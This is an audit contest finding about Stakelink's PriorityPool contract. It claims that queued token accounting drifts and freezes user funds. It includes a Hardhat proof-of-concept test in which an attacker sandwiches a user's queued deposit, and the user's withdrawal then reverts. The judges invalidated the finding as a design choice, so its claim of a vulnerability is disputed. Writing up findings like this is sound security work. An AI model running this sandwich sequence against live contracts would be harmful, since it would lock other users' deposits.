Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Funds that are queued can be locked indefinitely.

cryptoticky

Summary

In PriorityPool.sol, when withdrawing, if _shouldUnqueue is true, accountQueuedTokens can be used for the withdrawal.

However, accountQueuedTokens cannot be used if they are greater than totalQueued.

When accountQueuedTokens change, totalQueued must change as well.

PriorityPool.sol

if (amountToUnqueue != 0) {
accountQueuedTokens[account] -= amountToUnqueue;
totalQueued -= amountToUnqueue;
toWithdraw -= amountToUnqueue;
emit UnqueueTokens(account, amountToUnqueue);
}
accountQueuedTokens[account] -= _amountToUnqueue;
totalQueued -= _amountToUnqueue;
token.safeTransfer(account, _amountToUnqueue);
if (toDeposit != 0) {
if (_shouldQueue) {
_requireNotPaused();
if (accountIndexes[_account] == 0) {
accounts.push(_account);
accountIndexes[_account] = accounts.length - 1;
}
accountQueuedTokens[_account] += toDeposit;
totalQueued += toDeposit;
} else {
token.safeTransfer(_account, toDeposit);
}
}




However, in _withdraw and _depositQueuedTokens, totalQueued decreases but accountQueuedTokens do not change.

Over time, the cumulative total of accountQueuedTokens becomes greater than totalQueued, resulting in some users being completely unable to use their accountQueuedTokens.

In other words, tokens deposited for accountQueuedTokens can become permanently locked, which essentially means a loss of user funds.

Vulnerability Details

When totalStakeAmount reaches its limit, no further staking occurs and the tokens are placed in a queue based on user choice.

If users who have no funds in the queue proceed to withdraw, totalQueued decreases first.

During this, there is no change in the funds of individual users who are waiting.

If a user with funds in the queue attempts to withdraw or call the unqueueTokens function to retrieve their queued funds, they cannot retrieve more than the totalQueued.

- withdraw function

uint256 queuedTokens = getQueuedTokens(account, _amount);
uint256 canUnqueue = queuedTokens <= totalQueued ? queuedTokens : totalQueued;
uint256 amountToUnqueue = toWithdraw <= canUnqueue ? toWithdraw : canUnqueue;
​
if (amountToUnqueue != 0) {
accountQueuedTokens[account] -= amountToUnqueue;
totalQueued -= amountToUnqueue;
toWithdraw -= amountToUnqueue;
emit UnqueueTokens(account, amountToUnqueue);
}
if (_amountToUnqueue > getQueuedTokens(account, _amount)) revert InsufficientBalance();
​
accountQueuedTokens[account] -= _amountToUnqueue;
totalQueued -= _amountToUnqueue; // if totalQueued < _amountToUnqueue, the tx is reverted
token.safeTransfer(account, _amountToUnqueue);

This means that if the sum of individual users' accountQueuedTokens exceeds totalQueued, there is no way to reduce this discrepancy, leading to a permanent freezing of user funds.

Thus, even without deliberate attacks, the system's own operations can lead to the freezing of user funds.

If an attacker carries out a sandwich attack, this damage can be further accelerated and increased.

POC

In this POC, the process is demonstrated where an attacker carries out a sandwich attack to accelerate and increase the damage

However, it is important to remember that even without a deliberate attack by an attacker, damage occurs once the totalStakedAmount reaches its limit.

add this code in priority-pool.test.ts

// The attacker launches an attack when the user sets _shouldQueue to true and proceeds with the deposit.
it('POC: Permanent freezing of user funds in queue', async () => {
const { signers, accounts, adrs, pp, token, strategy, stakingPool, withdrawalPool } = await loadFixture(
deployFixture
)
​
let attacker = signers[0]
let user = signers[1]
​
let totalQueued = await pp.totalQueued()
let oneWei = _ethers.toBigInt(1)
​
// 1. If totalQueued is 0, the attacker utilizes frontrunning to execute this step before the user's transaction is processed.
// or go to the third step.
​
let canDepositAmount = await stakingPool.canDeposit()
let queuedWithdrawals = await withdrawalPool.getTotalQueuedWithdrawals()
if (fromEther(totalQueued) == 0) {
​
// The attacker deposits canDepositAmount + queuedWithdrawals + 1 wei
await pp.connect(attacker).deposit(canDepositAmount + queuedWithdrawals + oneWei, true, ['0x'])
await stakingPool.connect(attacker).approve(adrs.pp, ethers.MaxUint256)
​
// as a result, the attacker pay only 1wei.
totalQueued = await pp.totalQueued();
assert.equal(totalQueued, oneWei)
}
​
// 2. user's tx is processed
let depositAmount = toEther(500)
await pp.connect(user).deposit(depositAmount, true, ['0x'])
totalQueued = await pp.totalQueued();
// totalQueued must be depositAmount + oneWei
assert.equal(totalQueued, depositAmount + oneWei)
​
// 3. attacker withdraw canDepositAmount + queuedWithdrawals
// So attacker pay only 1 wei.
await pp.connect(attacker).withdraw(canDepositAmount + queuedWithdrawals, 0, 0, [], false, true)
​
totalQueued = await pp.totalQueued();
assert.equal(totalQueued, 0)
​
// 4. User tries to withdraw his token
// but the tx must be failed.
// The user cannot withdraw even 1 wei of the token.
await stakingPool.connect(user).approve(adrs.pp, ethers.MaxUint256)
await expect(
pp.connect(user).withdraw(1, 0, 0, [], true, true)
).to.be.revertedWith('Transfer amount exceeds balance')
​
​
// In fact, this vulnerability does not only manifest from deliberate attacks by an attacker.
// When the totalStake reaches its limit, users' funds enter a queued state.
// If users withdraw at this time, totalQueued decreases first,
// which does not proportionally reduce the equivalent amount of each individual user's funds in the queue.
// Consequently, the total funds of users in the queue are greater than totalQueued.
// If this persists while totalQueued is greater than zero,
// the discrepancy grows increasingly larger, resulting in escalating losses.
})

Impact

  • Over time, the difference between the total sum of accountQueuedTokens and totalQueued grows, and this difference ultimately means a permanent loss of user funds.

  • If an attacker carries out a sandwich attack, they can cause damage more quickly and more extensively.

Recommendations

The reduction of totalQueued in the _withdraw and _depositQueuedTokens functions is related to the amount of stakingPool tokens transferred into the PriorityPool contract.

This means that there are more stakingPool tokens in the PriorityPool than the difference between the total sum of accountQueuedTokens and totalQueued.

In other words, when calling the withdraw or unqueueTokens functions, if _amountToUnqueue is equal to or less than accountQueuedTokens[account] and greater than totalQueued, the stakingPool.withdraw function must be called to burn the stakingPool tokens within PriorityPool and obtain the necessary underlyingTokens for the amount of _amountToUnqueue - totalQueued.

  • When calling the unqueueTokens and withdraw functions, if the amountToUnqueue is greater than totalQueued, the necessary tokens can be obtained by calling the stakingPool.withdraw function to retrieve the needed tokens.

  • I also believe that there should be logic added to use the user's accountQueuedTokens for deposits. An additional function could be introduced for this purpose. Otherwise, instead of adding to the accountQueuedTokens during deposits, those tokens should be returned to the user.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Appeal created

cryptoticky Submitter
about 1 year ago
cryptoticky Submitter
12 months ago
inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.